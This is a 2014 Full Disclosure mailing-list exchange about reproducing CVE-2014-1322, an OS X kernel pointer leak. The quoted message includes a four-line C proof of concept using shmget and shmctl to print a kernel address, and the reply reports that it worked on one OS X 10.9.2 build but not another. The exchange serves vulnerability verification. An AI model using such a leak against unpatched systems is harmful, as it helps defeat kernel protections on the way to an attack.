full-disclosure - Re: [FD] A way to trigger CVE-2014-1322 (userspace read kernel pointer)?

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Message-ID: <CACZmaudtNrPnZaPBG4T7gzNwTE7B2UttiPVctt7N8_g8S60E1g@mail.gmail.com>
Date: Wed, 21 May 2014 00:31:54 +0200
From: Christian Mayer <thefox21at@...il.com>
To: rai@...nmailbox.org
Cc: fulldisclosure@...lists.org
Subject: Re: [FD] A way to trigger CVE-2014-1322 (userspace read kernel
	pointer)?

Yes and no.

On the first machine (OS X 10.9.2 (13C1021)) I got no pointer. Compiled
with Apple LLVM version 5.1 (clang-503.0.40) (based on LLVM 3.4svn).

On the second machine (OS X 10.9.2 (13C64)) I got a pointer. Compiled
with Apple LLVM version 5.0 (clang-500.2.79) (based on LLVM 3.3svn).

Br,
Christian

-- 
http://fox21.at

On Tue, May 20, 2014 at 12:45 PM, <rai@...nmailbox.org> wrote:

>
>
> Hi,
>
> There's a claim this triggers CVE-2014-1322 allowing local user to read
> a kernel pointer:
>
> int shm = shmget( IPC_PRIVATE, 0x1337, SHM_R | SHM_W );
> struct shmid_ds lolz;
> int res = shmctl( shm, IPC_STAT, &lolz );
> printf( "%pn", lolz.shm_internal );
>
> full source: http://maker.fea.st/CVE-2014-1322.c [1]
>
> Is anyone able to reproduce?
>
> --
> rai
>
>
>
> Links:
> ------
> [1] http://maker.fea.st/CVE-2014-1322.c
>
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